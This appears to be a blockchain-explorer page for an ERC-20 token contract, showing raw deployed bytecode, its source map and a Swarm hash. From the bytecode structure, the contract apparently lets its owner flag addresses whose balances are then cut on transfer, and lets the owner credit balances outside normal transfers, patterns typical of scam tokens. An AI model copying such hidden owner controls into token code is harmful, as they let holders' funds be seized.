3610cc857610c846001610c76600854600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7d90919063ffffffff16565b610f7d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610cf26064610ce460095485610fc790919063ffffffff16565b610f7d90919063ffffffff16565b9050610d4682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd59190611868565b610ddf919061189c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea19190611322565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610f04919061189c565b604051610f119190611322565b60405180910390a350505050565b6000808284610f2e9190611868565b905083811015610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a9061191c565b60405180910390fd5b8091505092915050565b6000610fbf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108b565b905092915050565b6000808303610fd9576000905061103b565b60008284610fe7919061193c565b9050828482610ff691906119ad565b14611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90611a50565b60405180910390fd5b809150505b92915050565b600061108383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ee565b905092915050565b600080831182906110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c991906111e2565b60405180910390fd5b50600083856110e191906119ad565b9050809150509392505050565b6000838311158290611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d91906111e2565b60405180910390fd5b5060008385611145919061189c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118c578082015181840152602081019050611171565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b482611152565b6111be818561115d565b93506111ce81856020860161116e565b6111d781611198565b840191505092915050565b600060208201905081810360008301526111fc81846111a9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061123482611209565b9050919050565b61124481611229565b811461124f57600080fd5b50565b6000813590506112618161123b565b92915050565b6000819050919050565b61127a81611267565b811461128557600080fd5b50565b60008135905061129781611271565b92915050565b600080604083850312156112b4576112b3611204565b5b60006112c285828601611252565b92505060206112d385828601611288565b9150509250929050565b60008115159050919050565b6112f2816112dd565b82525050565b600060208201905061130d60008301846112e9565b92915050565b61131c81611267565b82525050565b60006020820190506113376000830184611313565b92915050565b611346816112dd565b811461135157600080fd5b50565b6000813590506113638161133d565b92915050565b600080604083850312156113805761137f611204565b5b600061138e85828601611252565b925050602061139f85828601611354565b9150509250929050565b6000806000606084860312156113c2576113c1611204565b5b60006113d086828701611252565b93505060206113e186828701611252565b92505060406113f286828701611288565b9150509250925092565b60006020828403121561141257611411611204565b5b600061142084828501611252565b91505092915050565b61143281611229565b82525050565b600060208201905061144d6000830184611429565b92915050565b6000806040838503121561146a57611469611204565b5b600061147885828601611252565b925050602061148985828601611252565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114da57607f821691505b6020821081036114ed576114ec611493565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061152960208361115d565b9150611534826114f3565b602082019050919050565b600060208201905081810360008301526115588161151c565b9050919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f20616c6c6f77616e636500000000000000000000000000000000000000000000602082015250565b60006115bb602a8361115d565b91506115c68261155f565b604082019050919050565b600060208201905081810360008301526115ea816115ae565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061164d60258361115d565b9150611658826115f1565b604082019050919050565b6000602082019050818103600083015261167c81611640565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006116df60238361115d565b91506116ea82611683565b604082019050919050565b6000602082019050818103600083015261170e816116d2565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061177160268361115d565b915061177c82611715565b604082019050919050565b600060208201905081810360008301526117a081611764565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061180360248361115d565b915061180e826117a7565b604082019050919050565b60006020820190508181036000830152611832816117f6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187382611267565b915061187e83611267565b925082820190508082111561189657611895611839565b5b92915050565b60006118a782611267565b91506118b283611267565b92508282039050818111156118ca576118c9611839565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611906601b8361115d565b9150611911826118d0565b602082019050919050565b60006020820190508181036000830152611935816118f9565b9050919050565b600061194782611267565b915061195283611267565b925082820261196081611267565b9150828204841483151761197757611976611839565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006119b882611267565b91506119c383611267565b9250826119d3576119d261197e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a3a60218361115d565b9150611a45826119de565b604082019050919050565b60006020820190508181036000830152611a6981611a2d565b905091905056fea264697066735822122044df0a0fdd16b3fee9561baef6a6b655b6a0ec36f35769b97e1d46fb4843fb4964736f6c63430008130033

Deployed Bytecode Sourcemap

3651:3635:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4470:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6111:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4755:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6290:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6926:355;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4660:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5985:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3194:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4563:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5601:374;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3412:230;;;:::i;:::-;;6767:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4470:85;4509:13;4542:5;4535:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4470:85;:::o;6111:173::-;6196:4;6213:41;6222:12;:10;:12::i;:::-;6236:7;6245:8;6213;:41::i;:::-;6272:4;6265:11;;6111:173;;;;:::o;4755:102::-;4810:7;4837:12;;4830:19;;4755:102;:::o;6290:114::-;3337:12;:10;:12::i;:::-;3327:22;;:6;;;;;;;;;;:22;;;3319:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6390:6:::1;6368:9;:19;6378:8;6368:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;6290:114:::0;;:::o;6926:355::-;7033:4;7050:37;7060:6;7068:9;7079:7;7050:9;:37::i;:::-;7098:24;7125:11;:19;7137:6;7125:19;;;;;;;;;;;;;;;:33;7145:12;:10;:12::i;:::-;7125:33;;;;;;;;;;;;;;;;7098:60;;7197:7;7177:16;:27;;7169:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;7269:4;7262:11;;;6926:355;;;;;:::o;4660:87::-;4703:7;4730:9;;4723:16;;4660:87;:::o;5985:118::-;6051:7;6078:8;:17;6087:7;6078:17;;;;;;;;;;;;;;;;6071:24;;5985:118;;;:::o;3194:87::-;3240:7;3267:6;;;;;;;;;;;3260:13;;3194:87;:::o;4563:89::-;4604:13;4637:7;4630:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4563:89;:::o;5601:374::-;5689:4;5706:17;5726:12;:10;:12::i;:::-;5706:32;;5765:7;:5;:7::i;:::-;5752:20;;:9;:20;;;:47;;;;;5787:12;:10;:12::i;:::-;5776:23;;:7;:5;:7::i;:::-;:23;;;5752:47;5749:133;;;5837:33;5861:8;5837;:19;5846:9;5837:19;;;;;;;;;;;;;;;;:23;;:33;;;;:::i;:::-;5815:8;:19;5824:9;5815:19;;;;;;;;;;;;;;;:55;;;;5749:133;5904:41;5914:9;5925;5936:8;5904:9;:41::i;:::-;5963:4;5956:11;;;5601:374;;;;:::o;3412:230::-;3337:12;:10;:12::i;:::-;3327:22;;:6;;;;;;;;;;:22;;;3319:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3519:42:::1;3482:81;;3503:6;::::0;::::1;;;;;;;;3482:81;;;;;;;;;;;;3591:42;3574:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3412:230::o:0;6767:151::-;6856:7;6883:11;:18;6895:5;6883:18;;;;;;;;;;;;;;;:27;6902:7;6883:27;;;;;;;;;;;;;;;;6876:34;;6767:151;;;;:::o;940:115::-;993:15;1036:10;1021:26;;940:115;:::o;6410:349::-;6530:1;6513:19;;:5;:19;;;6505:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6612:1;6593:21;;:7;:21;;;6585:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6695:7;6665:11;:18;6677:5;6665:18;;;;;;;;;;;;;;;:27;6684:7;6665:27;;;;;;;;;;;;;;;:37;;;;6734:7;6718:33;;6727:5;6718:33;;;6743:7;6718:33;;;;;;:::i;:::-;;;;;;;;6410:349;;;:::o;4865:728::-;4992:1;4974:20;;:6;:20;;;4966:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5077:1;5056:23;;:9;:23;;;5048:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5155:4;5134:25;;:9;:17;5144:6;5134:17;;;;;;;;;;;;;;;;;;;;;;;;;:25;;;5131:109;;5195:33;5226:1;5195:26;5216:4;;5195:8;:16;5204:6;5195:16;;;;;;;;;;;;;;;;:20;;:26;;;;:::i;:::-;:30;;:33;;;;:::i;:::-;5176:8;:16;5185:6;5176:16;;;;;;;;;;;;;;;:52;;;;5131:109;5260:17;5304:30;5330:3;5304:21;5316:8;;5304:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;5292:42;;5364:29;5385:7;5364:8;:16;5373:6;5364:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5345:8;:16;5354:6;5345:16;;;;;;;;;;;;;;;:48;;;;5455:9;5447:7;5427:8;:19;5436:9;5427:19;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;:37;;;;:::i;:::-;5404:8;:19;5413:9;5404:19;;;;;;;;;;;;;;;:60;;;;5497:12;;;;;;;;;;;5480:41;;5489:6;5480:41;;;5511:9;5480:41;;;;;;:::i;:::-;;;;;;;;5554:9;5537:46;;5546:6;5537:46;;;5573:9;5565:7;:17;;;;:::i;:::-;5537:46;;;;;;:::i;:::-;;;;;;;;4953:640;4865:728;;;:::o;1329:181::-;1387:7;1407:9;1423:1;1419;:5;;;;:::i;:::-;1407:17;;1448:1;1443;:6;;1435:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1501:1;1494:8;;;1329:181;;;;:::o;2156:132::-;2214:7;2241:39;2245:1;2248;2241:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2234:46;;2156:132;;;;:::o;1896:252::-;1954:7;1985:1;1980;:6;1976:47;;2010:1;2003:8;;;;1976:47;2035:9;2051:1;2047;:5;;;;:::i;:::-;2035:17;;2080:1;2075;2071;:5;;;;:::i;:::-;:10;2063:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2139:1;2132:8;;;1896:252;;;;;:::o;1518:136::-;1576:7;1603:43;1607:1;1610;1603:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1596:50;;1518:136;;;;:::o;2296:227::-;2416:7;2448:1;2444;:5;2451:12;2436:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2475:9;2491:1;2487;:5;;;;:::i;:::-;2475:17;;2514:1;2507:8;;;2296:227;;;;;:::o;1662:226::-;1782:7;1815:1;1810;:6;;1818:12;1802:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1842:9;1858:1;1854;:5;;;;:::i;:::-;1842:17;;1879:1;1872:8;;;1662:226;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:116::-;3868:21;3883:5;3868:21;:::i;:::-;3861:5;3858:32;3848:60;;3904:1;3901;3894:12;3848:60;3798:116;:::o;3920:133::-;3963:5;4001:6;3988:20;3979:29;;4017:30;4041:5;4017:30;:::i;:::-;3920:133;;;;:::o;4059:468::-;4124:6;4132;4181:2;4169:9;4160:7;4156:23;4152:32;4149:119;;;4187:79;;:::i;:::-;4149:119;4307:1;4332:53;4377:7;4368:6;4357:9;4353:22;4332:53;:::i;:::-;4322:63;;4278:117;4434:2;4460:50;4502:7;4493:6;4482:9;4478:22;4460:50;:::i;:::-;4450:60;;4405:115;4059:468;;;;;:::o;4533:619::-;4610:6;4618;4626;4675:2;4663:9;4654:7;4650:23;4646:32;4643:119;;;4681:79;;:::i;:::-;4643:119;4801:1;4826:53;4871:7;4862:6;4851:9;4847:22;4826:53;:::i;:::-;4816:63;;4772:117;4928:2;4954:53;4999:7;4990:6;4979:9;4975:22;4954:53;:::i;:::-;4944:63;;4899:118;5056:2;5082:53;5127:7;5118:6;5107:9;5103:22;5082:53;:::i;:::-;5072:63;;5027:118;4533:619;;;;;:::o;5158:329::-;5217:6;5266:2;5254:9;5245:7;5241:23;5237:32;5234:119;;;5272:79;;:::i;:::-;5234:119;5392:1;5417:53;5462:7;5453:6;5442:9;5438:22;5417:53;:::i;:::-;5407:63;;5363:117;5158:329;;;;:::o;5493:118::-;5580:24;5598:5;5580:24;:::i;:::-;5575:3;5568:37;5493:118;;:::o;5617:222::-;5710:4;5748:2;5737:9;5733:18;5725:26;;5761:71;5829:1;5818:9;5814:17;5805:6;5761:71;:::i;:::-;5617:222;;;;:::o;5845:474::-;5913:6;5921;5970:2;5958:9;5949:7;5945:23;5941:32;5938:119;;;5976:79;;:::i;:::-;5938:119;6096:1;6121:53;6166:7;6157:6;6146:9;6142:22;6121:53;:::i;:::-;6111:63;;6067:117;6223:2;6249:53;6294:7;6285:6;6274:9;6270:22;6249:53;:::i;:::-;6239:63;;6194:118;5845:474;;;;;:::o;6325:180::-;6373:77;6370:1;6363:88;6470:4;6467:1;6460:15;6494:4;6491:1;6484:15;6511:320;6555:6;6592:1;6586:4;6582:12;6572:22;;6639:1;6633:4;6629:12;6660:18;6650:81;;6716:4;6708:6;6704:17;6694:27;;6650:81;6778:2;6770:6;6767:14;6747:18;6744:38;6741:84;;6797:18;;:::i;:::-;6741:84;6562:269;6511:320;;;:::o;6837:182::-;6977:34;6973:1;6965:6;6961:14;6954:58;6837:182;:::o;7025:366::-;7167:3;7188:67;7252:2;7247:3;7188:67;:::i;:::-;7181:74;;7264:93;7353:3;7264:93;:::i;:::-;7382:2;7377:3;7373:12;7366:19;;7025:366;;;:::o;7397:419::-;7563:4;7601:2;7590:9;7586:18;7578:26;;7650:9;7644:4;7640:20;7636:1;7625:9;7621:17;7614:47;7678:131;7804:4;7678:131;:::i;:::-;7670:139;;7397:419;;;:::o;7822:229::-;7962:34;7958:1;7950:6;7946:14;7939:58;8031:12;8026:2;8018:6;8014:15;8007:37;7822:229;:::o;8057:366::-;8199:3;8220:67;8284:2;8279:3;8220:67;:::i;:::-;8213:74;;8296:93;8385:3;8296:93;:::i;:::-;8414:2;8409:3;8405:12;8398:19;;8057:366;;;:::o;8429:419::-;8595:4;8633:2;8622:9;8618:18;8610:26;;8682:9;8676:4;8672:20;8668:1;8657:9;8653:17;8646:47;8710:131;8836:4;8710:131;:::i;:::-;8702:139;;8429:419;;;:::o;8854:224::-;8994:34;8990:1;8982:6;8978:14;8971:58;9063:7;9058:2;9050:6;9046:15;9039:32;8854:224;:::o;9084:366::-;9226:3;9247:67;9311:2;9306:3;9247:67;:::i;:::-;9240:74;;9323:93;9412:3;9323:93;:::i;:::-;9441:2;9436:3;9432:12;9425:19;;9084:366;;;:::o;9456:419::-;9622:4;9660:2;9649:9;9645:18;9637:26;;9709:9;9703:4;9699:20;9695:1;9684:9;9680:17;9673:47;9737:131;9863:4;9737:131;:::i;:::-;9729:139;;9456:419;;;:::o;9881:222::-;10021:34;10017:1;10009:6;10005:14;9998:58;10090:5;10085:2;10077:6;10073:15;10066:30;9881:222;:::o;10109:366::-;10251:3;10272:67;10336:2;10331:3;10272:67;:::i;:::-;10265:74;;10348:93;10437:3;10348:93;:::i;:::-;10466:2;10461:3;10457:12;10450:19;;10109:366;;;:::o;10481:419::-;10647:4;10685:2;10674:9;10670:18;10662:26;;10734:9;10728:4;10724:20;10720:1;10709:9;10705:17;10698:47;10762:131;10888:4;10762:131;:::i;:::-;10754:139;;10481:419;;;:::o;10906:225::-;11046:34;11042:1;11034:6;11030:14;11023:58;11115:8;11110:2;11102:6;11098:15;11091:33;10906:225;:::o;11137:366::-;11279:3;11300:67;11364:2;11359:3;11300:67;:::i;:::-;11293:74;;11376:93;11465:3;11376:93;:::i;:::-;11494:2;11489:3;11485:12;11478:19;;11137:366;;;:::o;11509:419::-;11675:4;11713:2;11702:9;11698:18;11690:26;;11762:9;11756:4;11752:20;11748:1;11737:9;11733:17;11726:47;11790:131;11916:4;11790:131;:::i;:::-;11782:139;;11509:419;;;:::o;11934:223::-;12074:34;12070:1;12062:6;12058:14;12051:58;12143:6;12138:2;12130:6;12126:15;12119:31;11934:223;:::o;12163:366::-;12305:3;12326:67;12390:2;12385:3;12326:67;:::i;:::-;12319:74;;12402:93;12491:3;12402:93;:::i;:::-;12520:2;12515:3;12511:12;12504:19;;12163:366;;;:::o;12535:419::-;12701:4;12739:2;12728:9;12724:18;12716:26;;12788:9;12782:4;12778:20;12774:1;12763:9;12759:17;12752:47;12816:131;12942:4;12816:131;:::i;:::-;12808:139;;12535:419;;;:::o;12960:180::-;13008:77;13005:1;12998:88;13105:4;13102:1;13095:15;13129:4;13126:1;13119:15;13146:191;13186:3;13205:20;13223:1;13205:20;:::i;:::-;13200:25;;13239:20;13257:1;13239:20;:::i;:::-;13234:25;;13282:1;13279;13275:9;13268:16;;13303:3;13300:1;13297:10;13294:36;;;13310:18;;:::i;:::-;13294:36;13146:191;;;;:::o;13343:194::-;13383:4;13403:20;13421:1;13403:20;:::i;:::-;13398:25;;13437:20;13455:1;13437:20;:::i;:::-;13432:25;;13481:1;13478;13474:9;13466:17;;13505:1;13499:4;13496:11;13493:37;;;13510:18;;:::i;:::-;13493:37;13343:194;;;;:::o;13543:177::-;13683:29;13679:1;13671:6;13667:14;13660:53;13543:177;:::o;13726:366::-;13868:3;13889:67;13953:2;13948:3;13889:67;:::i;:::-;13882:74;;13965:93;14054:3;13965:93;:::i;:::-;14083:2;14078:3;14074:12;14067:19;;13726:366;;;:::o;14098:419::-;14264:4;14302:2;14291:9;14287:18;14279:26;;14351:9;14345:4;14341:20;14337:1;14326:9;14322:17;14315:47;14379:131;14505:4;14379:131;:::i;:::-;14371:139;;14098:419;;;:::o;14523:410::-;14563:7;14586:20;14604:1;14586:20;:::i;:::-;14581:25;;14620:20;14638:1;14620:20;:::i;:::-;14615:25;;14675:1;14672;14668:9;14697:30;14715:11;14697:30;:::i;:::-;14686:41;;14876:1;14867:7;14863:15;14860:1;14857:22;14837:1;14830:9;14810:83;14787:139;;14906:18;;:::i;:::-;14787:139;14571:362;14523:410;;;;:::o;14939:180::-;14987:77;14984:1;14977:88;15084:4;15081:1;15074:15;15108:4;15105:1;15098:15;15125:185;15165:1;15182:20;15200:1;15182:20;:::i;:::-;15177:25;;15216:20;15234:1;15216:20;:::i;:::-;15211:25;;15255:1;15245:35;;15260:18;;:::i;:::-;15245:35;15302:1;15299;15295:9;15290:14;;15125:185;;;;:::o;15316:220::-;15456:34;15452:1;15444:6;15440:14;15433:58;15525:3;15520:2;15512:6;15508:15;15501:28;15316:220;:::o;15542:366::-;15684:3;15705:67;15769:2;15764:3;15705:67;:::i;:::-;15698:74;;15781:93;15870:3;15781:93;:::i;:::-;15899:2;15894:3;15890:12;15883:19;;15542:366;;;:::o;15914:419::-;16080:4;16118:2;16107:9;16103:18;16095:26;;16167:9;16161:4;16157:20;16153:1;16142:9;16138:17;16131:47;16195:131;16321:4;16195:131;:::i;:::-;16187:139;;15914:419;;;:::o

Swarm Source

ipfs://44df0a0fdd16b3fee9561baef6a6b655b6a0ec36f35769b97e1d46fb4843fb49
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.